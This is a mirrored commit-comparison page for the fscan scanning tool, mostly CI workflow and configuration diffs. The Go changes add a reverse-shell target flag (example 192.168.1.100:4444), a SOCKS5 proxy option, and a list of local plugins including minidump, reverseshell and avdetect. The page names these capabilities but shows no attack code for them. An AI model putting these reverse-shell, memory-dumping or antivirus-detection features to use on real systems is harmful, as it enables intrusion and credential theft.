mirror of
https://github.com/shadow1ng/fscan.git
synced 2025-09-14 05:56:46 +08:00
Compare commits
20 Commits
05eaa0f70e
...
1cfb21ed64
Author | SHA1 | Date | |
---|---|---|---|
![]() |
1cfb21ed64 | ||
![]() |
4a33b89738 | ||
![]() |
b60a2af424 | ||
![]() |
f659a222cd | ||
![]() |
4729be481e | ||
![]() |
fead006830 | ||
![]() |
551d36b998 | ||
![]() |
fc6dd50377 | ||
![]() |
c72cd25e63 | ||
![]() |
fbe846068a | ||
![]() |
e543afacdb | ||
![]() |
653a89b737 | ||
![]() |
a1c82d188b | ||
![]() |
a90d9c5bc7 | ||
![]() |
a53712a50b | ||
![]() |
eeaa4c3b3a | ||
![]() |
4714d27d44 | ||
![]() |
c64bfe5b2e | ||
![]() |
7ac7435885 | ||
![]() |
fa0f3e92d1 |
44
.github/workflows/release.yml
vendored
44
.github/workflows/release.yml
vendored
@ -8,8 +8,8 @@ on:
|
|||||||
inputs:
|
inputs:
|
||||||
tag:
|
tag:
|
||||||
description: '发布标签'
|
description: '发布标签'
|
||||||
required: true
|
required: false
|
||||||
default: 'v1.0.0'
|
default: ''
|
||||||
draft:
|
draft:
|
||||||
description: '创建草稿发布'
|
description: '创建草稿发布'
|
||||||
type: boolean
|
type: boolean
|
||||||
@ -20,15 +20,13 @@ on:
|
|||||||
default: false
|
default: false
|
||||||
|
|
||||||
permissions:
|
permissions:
|
||||||
contents: write
|
contents: write # 需要写权限用于创建release
|
||||||
issues: write
|
|
||||||
pull-requests: write
|
|
||||||
|
|
||||||
jobs:
|
jobs:
|
||||||
goreleaser:
|
goreleaser:
|
||||||
name: 构建和发布
|
name: 构建和发布
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
timeout-minutes: 60
|
timeout-minutes: 45
|
||||||
|
|
||||||
# 设置作业级别的环境变量
|
# 设置作业级别的环境变量
|
||||||
env:
|
env:
|
||||||
@ -38,7 +36,7 @@ jobs:
|
|||||||
|
|
||||||
steps:
|
steps:
|
||||||
- name: 📥 检出代码
|
- name: 📥 检出代码
|
||||||
uses: actions/checkout@v4
|
uses: actions/checkout@v4.1.1
|
||||||
with:
|
with:
|
||||||
fetch-depth: 0
|
fetch-depth: 0
|
||||||
token: ${{ secrets.GITHUB_TOKEN }}
|
token: ${{ secrets.GITHUB_TOKEN }}
|
||||||
@ -48,25 +46,40 @@ jobs:
|
|||||||
run: |
|
run: |
|
||||||
echo "owner=${GITHUB_REPOSITORY_OWNER}" >> $GITHUB_OUTPUT
|
echo "owner=${GITHUB_REPOSITORY_OWNER}" >> $GITHUB_OUTPUT
|
||||||
echo "repo=${GITHUB_REPOSITORY#*/}" >> $GITHUB_OUTPUT
|
echo "repo=${GITHUB_REPOSITORY#*/}" >> $GITHUB_OUTPUT
|
||||||
|
|
||||||
|
# 获取标签版本
|
||||||
echo "version=${GITHUB_REF#refs/tags/}" >> $GITHUB_OUTPUT
|
echo "version=${GITHUB_REF#refs/tags/}" >> $GITHUB_OUTPUT
|
||||||
|
echo "is_tag=true" >> $GITHUB_OUTPUT
|
||||||
|
echo "branch_or_tag=${GITHUB_REF#refs/tags/}" >> $GITHUB_OUTPUT
|
||||||
|
|
||||||
echo "full_sha=${GITHUB_SHA}" >> $GITHUB_OUTPUT
|
echo "full_sha=${GITHUB_SHA}" >> $GITHUB_OUTPUT
|
||||||
echo "short_sha=${GITHUB_SHA:0:7}" >> $GITHUB_OUTPUT
|
echo "short_sha=${GITHUB_SHA:0:7}" >> $GITHUB_OUTPUT
|
||||||
echo "build_date=$(date -u +"%Y-%m-%d %H:%M:%S UTC")" >> $GITHUB_OUTPUT
|
echo "build_date=$(date -u +"%Y-%m-%d %H:%M:%S UTC")" >> $GITHUB_OUTPUT
|
||||||
echo "build_timestamp=$(date +%s)" >> $GITHUB_OUTPUT
|
echo "build_timestamp=$(date +%s)" >> $GITHUB_OUTPUT
|
||||||
|
|
||||||
- name: 🐹 设置 Go 环境
|
- name: 🐹 设置 Go 环境
|
||||||
uses: actions/setup-go@v5
|
uses: actions/setup-go@v5.0.0
|
||||||
with:
|
with:
|
||||||
go-version: '1.20'
|
go-version: '1.20'
|
||||||
cache: true
|
cache: true
|
||||||
|
|
||||||
|
- name: 💾 缓存Go模块
|
||||||
|
uses: actions/cache@v4.0.0
|
||||||
|
with:
|
||||||
|
path: |
|
||||||
|
~/.cache/go-build
|
||||||
|
~/go/pkg/mod
|
||||||
|
key: ${{ runner.os }}-go-${{ hashFiles('**/go.sum') }}
|
||||||
|
restore-keys: |
|
||||||
|
${{ runner.os }}-go-
|
||||||
|
|
||||||
- name: 📦 下载依赖
|
- name: 📦 下载依赖
|
||||||
run: |
|
run: |
|
||||||
go mod download
|
go mod download
|
||||||
go mod verify
|
go mod verify
|
||||||
|
|
||||||
- name: 🗜️ 安装 UPX 压缩工具
|
- name: 🗜️ 安装 UPX 压缩工具
|
||||||
uses: crazy-max/ghaction-upx@v3
|
uses: crazy-max/ghaction-upx@v3.0.0
|
||||||
with:
|
with:
|
||||||
install-only: true
|
install-only: true
|
||||||
|
|
||||||
@ -74,7 +87,8 @@ jobs:
|
|||||||
run: |
|
run: |
|
||||||
echo "Go 版本: $(go version)"
|
echo "Go 版本: $(go version)"
|
||||||
echo "UPX 版本: $(upx --version)"
|
echo "UPX 版本: $(upx --version)"
|
||||||
echo "Git 标签: ${{ steps.project.outputs.version }}"
|
echo "发布标签: ${{ steps.project.outputs.branch_or_tag }}"
|
||||||
|
echo "构建模式: 发布模式"
|
||||||
echo "提交: ${{ steps.project.outputs.short_sha }}"
|
echo "提交: ${{ steps.project.outputs.short_sha }}"
|
||||||
echo "仓库: ${{ steps.project.outputs.owner }}/${{ steps.project.outputs.repo }}"
|
echo "仓库: ${{ steps.project.outputs.owner }}/${{ steps.project.outputs.repo }}"
|
||||||
echo "构建时间: ${{ steps.project.outputs.build_date }}"
|
echo "构建时间: ${{ steps.project.outputs.build_date }}"
|
||||||
@ -91,7 +105,7 @@ jobs:
|
|||||||
|
|
||||||
- name: 🚀 构建和发布
|
- name: 🚀 构建和发布
|
||||||
id: build_step
|
id: build_step
|
||||||
uses: goreleaser/goreleaser-action@v5
|
uses: goreleaser/goreleaser-action@v5.0.0
|
||||||
with:
|
with:
|
||||||
distribution: goreleaser
|
distribution: goreleaser
|
||||||
version: latest
|
version: latest
|
||||||
@ -116,13 +130,13 @@ jobs:
|
|||||||
echo "duration_readable=$(printf '%02d:%02d:%02d' $((duration/3600)) $((duration%3600/60)) $((duration%60)))" >> $GITHUB_OUTPUT
|
echo "duration_readable=$(printf '%02d:%02d:%02d' $((duration/3600)) $((duration%3600/60)) $((duration%60)))" >> $GITHUB_OUTPUT
|
||||||
|
|
||||||
- name: 📋 上传构建产物
|
- name: 📋 上传构建产物
|
||||||
uses: actions/upload-artifact@v4
|
uses: actions/upload-artifact@v4.3.1
|
||||||
if: always()
|
if: always()
|
||||||
with:
|
with:
|
||||||
name: 构建产物-${{ steps.project.outputs.version }}
|
name: 发布产物-${{ steps.project.outputs.version }}
|
||||||
path: |
|
path: |
|
||||||
dist/
|
dist/
|
||||||
retention-days: 30
|
retention-days: 90
|
||||||
continue-on-error: true
|
continue-on-error: true
|
||||||
|
|
||||||
- name: 📊 统计构建产物
|
- name: 📊 统计构建产物
|
||||||
@ -184,6 +198,7 @@ jobs:
|
|||||||
echo "| 🚀 **触发方式** | ${{ github.event_name }} |" >> $GITHUB_STEP_SUMMARY
|
echo "| 🚀 **触发方式** | ${{ github.event_name }} |" >> $GITHUB_STEP_SUMMARY
|
||||||
echo "| 🔧 **Go版本** | $(go version | cut -d' ' -f3) |" >> $GITHUB_STEP_SUMMARY
|
echo "| 🔧 **Go版本** | $(go version | cut -d' ' -f3) |" >> $GITHUB_STEP_SUMMARY
|
||||||
echo "| 🗜️ **UPX版本** | $(upx --version | head -1 | cut -d' ' -f2) |" >> $GITHUB_STEP_SUMMARY
|
echo "| 🗜️ **UPX版本** | $(upx --version | head -1 | cut -d' ' -f2) |" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "| 🔧 **构建模式** | 发布模式 |" >> $GITHUB_STEP_SUMMARY
|
||||||
echo "| 📦 **发布类型** | $(if [[ "${{ inputs.draft }}" == "true" ]]; then echo "草稿"; elif [[ "${{ inputs.prerelease }}" == "true" ]]; then echo "预发布"; else echo "正式发布"; fi) |" >> $GITHUB_STEP_SUMMARY
|
echo "| 📦 **发布类型** | $(if [[ "${{ inputs.draft }}" == "true" ]]; then echo "草稿"; elif [[ "${{ inputs.prerelease }}" == "true" ]]; then echo "预发布"; else echo "正式发布"; fi) |" >> $GITHUB_STEP_SUMMARY
|
||||||
echo "" >> $GITHUB_STEP_SUMMARY
|
echo "" >> $GITHUB_STEP_SUMMARY
|
||||||
|
|
||||||
@ -280,6 +295,7 @@ jobs:
|
|||||||
echo "- 📋 [查看产物列表](https://github.com/${{ steps.project.outputs.owner }}/${{ steps.project.outputs.repo }}/actions/runs/${{ github.run_id }})" >> $GITHUB_STEP_SUMMARY
|
echo "- 📋 [查看产物列表](https://github.com/${{ steps.project.outputs.owner }}/${{ steps.project.outputs.repo }}/actions/runs/${{ github.run_id }})" >> $GITHUB_STEP_SUMMARY
|
||||||
echo "- 📥 [下载产物](https://github.com/${{ steps.project.outputs.owner }}/${{ steps.project.outputs.repo }}/actions/runs/${{ github.run_id }})" >> $GITHUB_STEP_SUMMARY
|
echo "- 📥 [下载产物](https://github.com/${{ steps.project.outputs.owner }}/${{ steps.project.outputs.repo }}/actions/runs/${{ github.run_id }})" >> $GITHUB_STEP_SUMMARY
|
||||||
echo "- 🔍 [查看提交](https://github.com/${{ steps.project.outputs.owner }}/${{ steps.project.outputs.repo }}/commit/${{ steps.project.outputs.full_sha }})" >> $GITHUB_STEP_SUMMARY
|
echo "- 🔍 [查看提交](https://github.com/${{ steps.project.outputs.owner }}/${{ steps.project.outputs.repo }}/commit/${{ steps.project.outputs.full_sha }})" >> $GITHUB_STEP_SUMMARY
|
||||||
|
echo "- 🌿 [查看分支](https://github.com/${{ steps.project.outputs.owner }}/${{ steps.project.outputs.repo }}/tree/${{ steps.project.outputs.branch_or_tag }})" >> $GITHUB_STEP_SUMMARY
|
||||||
echo "" >> $GITHUB_STEP_SUMMARY
|
echo "" >> $GITHUB_STEP_SUMMARY
|
||||||
|
|
||||||
echo "---" >> $GITHUB_STEP_SUMMARY
|
echo "---" >> $GITHUB_STEP_SUMMARY
|
||||||
|
44
.github/workflows/test-build.yml
vendored
44
.github/workflows/test-build.yml
vendored
@ -6,11 +6,31 @@ on:
|
|||||||
- dev
|
- dev
|
||||||
- develop
|
- develop
|
||||||
- feature/*
|
- feature/*
|
||||||
|
paths-ignore:
|
||||||
|
- '*.md'
|
||||||
|
- '*.txt'
|
||||||
|
- 'README*'
|
||||||
|
- 'LICENSE*'
|
||||||
|
- 'image/**'
|
||||||
|
- 'TestDocker/**'
|
||||||
|
- '**/*.png'
|
||||||
|
- '**/*.jpg'
|
||||||
|
- '**/*.jpeg'
|
||||||
pull_request:
|
pull_request:
|
||||||
branches:
|
branches:
|
||||||
- main
|
- main
|
||||||
- master
|
- master
|
||||||
- dev
|
- dev
|
||||||
|
paths-ignore:
|
||||||
|
- '*.md'
|
||||||
|
- '*.txt'
|
||||||
|
- 'README*'
|
||||||
|
- 'LICENSE*'
|
||||||
|
- 'image/**'
|
||||||
|
- 'TestDocker/**'
|
||||||
|
- '**/*.png'
|
||||||
|
- '**/*.jpg'
|
||||||
|
- '**/*.jpeg'
|
||||||
workflow_dispatch:
|
workflow_dispatch:
|
||||||
inputs:
|
inputs:
|
||||||
branch:
|
branch:
|
||||||
@ -19,13 +39,13 @@ on:
|
|||||||
default: 'dev'
|
default: 'dev'
|
||||||
|
|
||||||
permissions:
|
permissions:
|
||||||
contents: read
|
contents: read # 只需要读权限用于检出代码
|
||||||
|
|
||||||
jobs:
|
jobs:
|
||||||
test-build:
|
test-build:
|
||||||
name: 测试构建
|
name: 测试构建
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
timeout-minutes: 30
|
timeout-minutes: 20
|
||||||
|
|
||||||
# 设置作业级别的环境变量
|
# 设置作业级别的环境变量
|
||||||
env:
|
env:
|
||||||
@ -35,7 +55,7 @@ jobs:
|
|||||||
|
|
||||||
steps:
|
steps:
|
||||||
- name: 📥 检出代码
|
- name: 📥 检出代码
|
||||||
uses: actions/checkout@v4
|
uses: actions/checkout@v4.1.1
|
||||||
with:
|
with:
|
||||||
fetch-depth: 0
|
fetch-depth: 0
|
||||||
ref: ${{ github.event.inputs.branch || github.ref }}
|
ref: ${{ github.event.inputs.branch || github.ref }}
|
||||||
@ -52,18 +72,28 @@ jobs:
|
|||||||
echo "timestamp=$(date +%s)" >> $GITHUB_OUTPUT
|
echo "timestamp=$(date +%s)" >> $GITHUB_OUTPUT
|
||||||
|
|
||||||
- name: 🐹 设置 Go 环境
|
- name: 🐹 设置 Go 环境
|
||||||
uses: actions/setup-go@v5
|
uses: actions/setup-go@v5.0.0
|
||||||
with:
|
with:
|
||||||
go-version: '1.20'
|
go-version: '1.20'
|
||||||
cache: true
|
cache: true
|
||||||
|
|
||||||
|
- name: 💾 缓存Go模块
|
||||||
|
uses: actions/cache@v4.0.0
|
||||||
|
with:
|
||||||
|
path: |
|
||||||
|
~/.cache/go-build
|
||||||
|
~/go/pkg/mod
|
||||||
|
key: ${{ runner.os }}-go-${{ hashFiles('**/go.sum') }}
|
||||||
|
restore-keys: |
|
||||||
|
${{ runner.os }}-go-
|
||||||
|
|
||||||
- name: 📦 下载依赖
|
- name: 📦 下载依赖
|
||||||
run: |
|
run: |
|
||||||
go mod download
|
go mod download
|
||||||
go mod verify
|
go mod verify
|
||||||
|
|
||||||
- name: 🗜️ 安装 UPX 压缩工具
|
- name: 🗜️ 安装 UPX 压缩工具
|
||||||
uses: crazy-max/ghaction-upx@v3
|
uses: crazy-max/ghaction-upx@v3.0.0
|
||||||
with:
|
with:
|
||||||
install-only: true
|
install-only: true
|
||||||
|
|
||||||
@ -87,7 +117,7 @@ jobs:
|
|||||||
echo "start_readable=$(date -u +"%Y-%m-%d %H:%M:%S UTC")" >> $GITHUB_OUTPUT
|
echo "start_readable=$(date -u +"%Y-%m-%d %H:%M:%S UTC")" >> $GITHUB_OUTPUT
|
||||||
|
|
||||||
- name: 🚀 测试构建 (Snapshot 模式)
|
- name: 🚀 测试构建 (Snapshot 模式)
|
||||||
uses: goreleaser/goreleaser-action@v5
|
uses: goreleaser/goreleaser-action@v5.0.0
|
||||||
with:
|
with:
|
||||||
distribution: goreleaser
|
distribution: goreleaser
|
||||||
version: latest
|
version: latest
|
||||||
@ -108,7 +138,7 @@ jobs:
|
|||||||
echo "duration_readable=$(printf '%02d:%02d:%02d' $((duration/3600)) $((duration%3600/60)) $((duration%60)))" >> $GITHUB_OUTPUT
|
echo "duration_readable=$(printf '%02d:%02d:%02d' $((duration/3600)) $((duration%3600/60)) $((duration%60)))" >> $GITHUB_OUTPUT
|
||||||
|
|
||||||
- name: 📋 上传测试产物
|
- name: 📋 上传测试产物
|
||||||
uses: actions/upload-artifact@v4
|
uses: actions/upload-artifact@v4.3.1
|
||||||
with:
|
with:
|
||||||
name: 测试构建-${{ steps.project.outputs.branch }}-${{ steps.project.outputs.short_sha }}
|
name: 测试构建-${{ steps.project.outputs.branch }}-${{ steps.project.outputs.short_sha }}
|
||||||
path: |
|
path: |
|
||||||
|
8
.gitignore
vendored
8
.gitignore
vendored
@ -62,3 +62,11 @@ __debug_bin*
|
|||||||
# Local development tools / 本地开发工具
|
# Local development tools / 本地开发工具
|
||||||
.air.toml
|
.air.toml
|
||||||
air_tmp/
|
air_tmp/
|
||||||
|
|
||||||
|
# Todo files / Todo文件
|
||||||
|
Todo列表.md
|
||||||
|
*todo*.md
|
||||||
|
*TODO*.md
|
||||||
|
|
||||||
|
# Claude documentation / Claude文档
|
||||||
|
.claude_docs/
|
||||||
|
@ -63,6 +63,14 @@ var (
|
|||||||
|
|
||||||
Shellcode string
|
Shellcode string
|
||||||
|
|
||||||
|
// 反弹Shell相关变量
|
||||||
|
ReverseShellTarget string
|
||||||
|
ReverseShellActive bool // 反弹Shell是否处于活跃状态
|
||||||
|
|
||||||
|
// SOCKS5代理相关变量
|
||||||
|
Socks5ProxyPort int // SOCKS5代理监听端口
|
||||||
|
Socks5ProxyActive bool // SOCKS5代理是否处于活跃状态
|
||||||
|
|
||||||
// Parse.go 使用的变量
|
// Parse.go 使用的变量
|
||||||
HostPort []string
|
HostPort []string
|
||||||
URLs []string
|
URLs []string
|
||||||
@ -149,6 +157,7 @@ func Flag(Info *HostInfo) {
|
|||||||
flag.BoolVar(&DisablePing, "np", false, i18n.GetText("flag_disable_ping"))
|
flag.BoolVar(&DisablePing, "np", false, i18n.GetText("flag_disable_ping"))
|
||||||
flag.BoolVar(&EnableFingerprint, "fingerprint", false, i18n.GetText("flag_enable_fingerprint"))
|
flag.BoolVar(&EnableFingerprint, "fingerprint", false, i18n.GetText("flag_enable_fingerprint"))
|
||||||
flag.BoolVar(&LocalMode, "local", false, i18n.GetText("flag_local_mode"))
|
flag.BoolVar(&LocalMode, "local", false, i18n.GetText("flag_local_mode"))
|
||||||
|
flag.StringVar(&LocalPlugin, "localplugin", "", i18n.GetText("flag_local_plugin"))
|
||||||
flag.BoolVar(&AliveOnly, "ao", false, i18n.GetText("flag_alive_only"))
|
flag.BoolVar(&AliveOnly, "ao", false, i18n.GetText("flag_alive_only"))
|
||||||
|
|
||||||
// ═════════════════════════════════════════════════
|
// ═════════════════════════════════════════════════
|
||||||
@ -217,6 +226,8 @@ func Flag(Info *HostInfo) {
|
|||||||
// 其他参数
|
// 其他参数
|
||||||
// ═════════════════════════════════════════════════
|
// ═════════════════════════════════════════════════
|
||||||
flag.StringVar(&Shellcode, "sc", "", i18n.GetText("flag_shellcode"))
|
flag.StringVar(&Shellcode, "sc", "", i18n.GetText("flag_shellcode"))
|
||||||
|
flag.StringVar(&ReverseShellTarget, "rsh", "", i18n.GetText("flag_reverse_shell_target"))
|
||||||
|
flag.IntVar(&Socks5ProxyPort, "socks5-port", 0, i18n.GetText("flag_socks5_proxy"))
|
||||||
flag.StringVar(&Language, "lang", "zh", i18n.GetText("flag_language"))
|
flag.StringVar(&Language, "lang", "zh", i18n.GetText("flag_language"))
|
||||||
|
|
||||||
// 帮助参数
|
// 帮助参数
|
||||||
@ -233,6 +244,9 @@ func Flag(Info *HostInfo) {
|
|||||||
// 更新进度条显示状态
|
// 更新进度条显示状态
|
||||||
ShowProgress = !DisableProgress
|
ShowProgress = !DisableProgress
|
||||||
|
|
||||||
|
// 同步配置到core包
|
||||||
|
SyncToCore()
|
||||||
|
|
||||||
// 如果显示帮助或者没有提供目标,显示帮助信息并退出
|
// 如果显示帮助或者没有提供目标,显示帮助信息并退出
|
||||||
if showHelp || shouldShowHelp(Info) {
|
if showHelp || shouldShowHelp(Info) {
|
||||||
flag.Usage()
|
flag.Usage()
|
||||||
@ -334,7 +348,12 @@ func preProcessLanguage() {
|
|||||||
// shouldShowHelp 检查是否应该显示帮助信息
|
// shouldShowHelp 检查是否应该显示帮助信息
|
||||||
func shouldShowHelp(Info *HostInfo) bool {
|
func shouldShowHelp(Info *HostInfo) bool {
|
||||||
// 检查是否提供了扫描目标
|
// 检查是否提供了扫描目标
|
||||||
hasTarget := Info.Host != "" || TargetURL != "" || LocalMode
|
hasTarget := Info.Host != "" || TargetURL != ""
|
||||||
|
|
||||||
|
// 本地模式需要指定插件才算有效目标
|
||||||
|
if LocalMode && LocalPlugin != "" {
|
||||||
|
hasTarget = true
|
||||||
|
}
|
||||||
|
|
||||||
// 如果没有提供任何扫描目标,则显示帮助
|
// 如果没有提供任何扫描目标,则显示帮助
|
||||||
if !hasTarget {
|
if !hasTarget {
|
||||||
@ -350,4 +369,35 @@ func checkParameterConflicts() {
|
|||||||
if AliveOnly && ScanMode == "icmp" {
|
if AliveOnly && ScanMode == "icmp" {
|
||||||
LogBase(i18n.GetText("param_conflict_ao_icmp_both"))
|
LogBase(i18n.GetText("param_conflict_ao_icmp_both"))
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 检查本地模式和本地插件参数
|
||||||
|
if LocalMode {
|
||||||
|
if LocalPlugin == "" {
|
||||||
|
fmt.Printf("错误: 使用本地扫描模式 (-local) 时必须指定一个本地插件 (-localplugin)\n")
|
||||||
|
fmt.Printf("可用的本地插件: fileinfo, dcinfo, minidump, reverseshell, socks5proxy, avdetect\n")
|
||||||
|
os.Exit(1)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 验证本地插件名称
|
||||||
|
validPlugins := []string{"fileinfo", "dcinfo", "minidump", "reverseshell", "socks5proxy", "avdetect"}
|
||||||
|
isValid := false
|
||||||
|
for _, valid := range validPlugins {
|
||||||
|
if LocalPlugin == valid {
|
||||||
|
isValid = true
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if !isValid {
|
||||||
|
fmt.Printf("错误: 无效的本地插件 '%s'\n", LocalPlugin)
|
||||||
|
fmt.Printf("可用的本地插件: fileinfo, dcinfo, minidump, reverseshell, socks5proxy, avdetect\n")
|
||||||
|
os.Exit(1)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 如果指定了本地插件但未启用本地模式
|
||||||
|
if !LocalMode && LocalPlugin != "" {
|
||||||
|
fmt.Printf("错误: 指定本地插件 (-localplugin) 时必须启用本地模式 (-local)\n")
|
||||||
|
os.Exit(1)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
@ -13,7 +13,7 @@ Constants.go - 核心常量定义
|
|||||||
// 预定义端口组常量
|
// 预定义端口组常量
|
||||||
var (
|
var (
|
||||||
WebPorts = "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8005,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10051,10250,12018,12443,14000,15672,15671,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,20880,21000,21501,21502,28018"
|
WebPorts = "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8005,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10051,10250,12018,12443,14000,15672,15671,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,20880,21000,21501,21502,28018"
|
||||||
MainPorts = "21,22,23,80,81,110,135,139,143,389,443,445,502,873,993,995,1433,1521,3306,5432,5672,6379,7001,7687,8000,8005,8009,8080,8089,8443,9000,9042,9092,9200,10051,11211,15672,27017,61616"
|
MainPorts = "21,22,23,25,80,81,110,135,139,143,161,389,443,445,465,502,587,636,873,993,995,1433,1434,1521,1522,1525,2121,2200,2222,3000,3268,3269,3306,3389,5432,5672,5900,6379,7474,7687,8000,8080,8081,8088,8443,8888,9000,9042,9080,9092,9200,9300,11211,15672,22222,27017,61613,61614"
|
||||||
)
|
)
|
||||||
|
|
||||||
// =============================================================================
|
// =============================================================================
|
||||||
|
@ -17,6 +17,7 @@ var (
|
|||||||
Timeout int64 // 超时时间
|
Timeout int64 // 超时时间
|
||||||
DisablePing bool // 禁用ping
|
DisablePing bool // 禁用ping
|
||||||
LocalMode bool // 本地模式
|
LocalMode bool // 本地模式
|
||||||
|
LocalPlugin string // 本地插件选择
|
||||||
|
|
||||||
// 基础认证配置
|
// 基础认证配置
|
||||||
Username string // 用户名
|
Username string // 用户名
|
||||||
|
@ -20,7 +20,7 @@ globals.go - 全局变量定义
|
|||||||
// 版本信息
|
// 版本信息
|
||||||
// =============================================================================
|
// =============================================================================
|
||||||
|
|
||||||
var version = "2.1.0"
|
var version = "2.2.0"
|
||||||
|
|
||||||
// =============================================================================
|
// =============================================================================
|
||||||
// 简化的全局状态管理(仅保留必要的同步机制)
|
// 简化的全局状态管理(仅保留必要的同步机制)
|
||||||
@ -40,6 +40,7 @@ var (
|
|||||||
Timeout int64 // 直接映射到base.Timeout
|
Timeout int64 // 直接映射到base.Timeout
|
||||||
DisablePing bool // 直接映射到base.DisablePing
|
DisablePing bool // 直接映射到base.DisablePing
|
||||||
LocalMode bool // 直接映射到base.LocalMode
|
LocalMode bool // 直接映射到base.LocalMode
|
||||||
|
LocalPlugin string // 本地插件选择
|
||||||
AliveOnly bool // 仅存活探测模式
|
AliveOnly bool // 仅存活探测模式
|
||||||
)
|
)
|
||||||
|
|
||||||
@ -105,6 +106,7 @@ func SyncFromCore() {
|
|||||||
Timeout = base.Timeout
|
Timeout = base.Timeout
|
||||||
DisablePing = base.DisablePing
|
DisablePing = base.DisablePing
|
||||||
LocalMode = base.LocalMode
|
LocalMode = base.LocalMode
|
||||||
|
LocalPlugin = base.LocalPlugin
|
||||||
|
|
||||||
Username = base.Username
|
Username = base.Username
|
||||||
Password = base.Password
|
Password = base.Password
|
||||||
@ -129,6 +131,7 @@ func SyncToCore() {
|
|||||||
base.Timeout = Timeout
|
base.Timeout = Timeout
|
||||||
base.DisablePing = DisablePing
|
base.DisablePing = DisablePing
|
||||||
base.LocalMode = LocalMode
|
base.LocalMode = LocalMode
|
||||||
|
base.LocalPlugin = LocalPlugin
|
||||||
|
|
||||||
base.Username = Username
|
base.Username = Username
|
||||||
base.Password = Password
|
base.Password = Password
|
||||||
|
@ -138,10 +138,6 @@ var FlagMessages = map[string]map[string]string{
|
|||||||
LangZH: "HTTP代理",
|
LangZH: "HTTP代理",
|
||||||
LangEN: "HTTP proxy",
|
LangEN: "HTTP proxy",
|
||||||
},
|
},
|
||||||
"flag_socks5_proxy": {
|
|
||||||
LangZH: "SOCKS5代理",
|
|
||||||
LangEN: "SOCKS5 proxy",
|
|
||||||
},
|
|
||||||
"flag_poc_path": {
|
"flag_poc_path": {
|
||||||
LangZH: "POC脚本路径",
|
LangZH: "POC脚本路径",
|
||||||
LangEN: "POC script path",
|
LangEN: "POC script path",
|
||||||
@ -234,6 +230,14 @@ var FlagMessages = map[string]map[string]string{
|
|||||||
LangZH: "Shellcode",
|
LangZH: "Shellcode",
|
||||||
LangEN: "Shellcode",
|
LangEN: "Shellcode",
|
||||||
},
|
},
|
||||||
|
"flag_reverse_shell_target": {
|
||||||
|
LangZH: "反弹Shell目标地址:端口 (如: 192.168.1.100:4444)",
|
||||||
|
LangEN: "Reverse shell target address:port (e.g.: 192.168.1.100:4444)",
|
||||||
|
},
|
||||||
|
"flag_socks5_proxy": {
|
||||||
|
LangZH: "启动SOCKS5代理服务器端口 (如: 1080)",
|
||||||
|
LangEN: "Start SOCKS5 proxy server on port (e.g.: 1080)",
|
||||||
|
},
|
||||||
"flag_language": {
|
"flag_language": {
|
||||||
LangZH: "语言: zh, en",
|
LangZH: "语言: zh, en",
|
||||||
LangEN: "Language: zh, en",
|
LangEN: "Language: zh, en",
|
||||||
|
@ -45,6 +45,16 @@ func NewBaseScanStrategy(name string, filterType PluginFilterType) *BaseScanStra
|
|||||||
|
|
||||||
// GetPlugins 获取插件列表(通用实现)
|
// GetPlugins 获取插件列表(通用实现)
|
||||||
func (b *BaseScanStrategy) GetPlugins() ([]string, bool) {
|
func (b *BaseScanStrategy) GetPlugins() ([]string, bool) {
|
||||||
|
// 本地模式优先使用LocalPlugin参数
|
||||||
|
if b.filterType == FilterLocal && common.LocalPlugin != "" {
|
||||||
|
if GlobalPluginAdapter.PluginExists(common.LocalPlugin) {
|
||||||
|
return []string{common.LocalPlugin}, true
|
||||||
|
} else {
|
||||||
|
common.LogError(fmt.Sprintf("指定的本地插件 '%s' 不存在", common.LocalPlugin))
|
||||||
|
return []string{}, true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// 如果指定了特定插件且不是"all"
|
// 如果指定了特定插件且不是"all"
|
||||||
if common.ScanMode != "" && common.ScanMode != "all" {
|
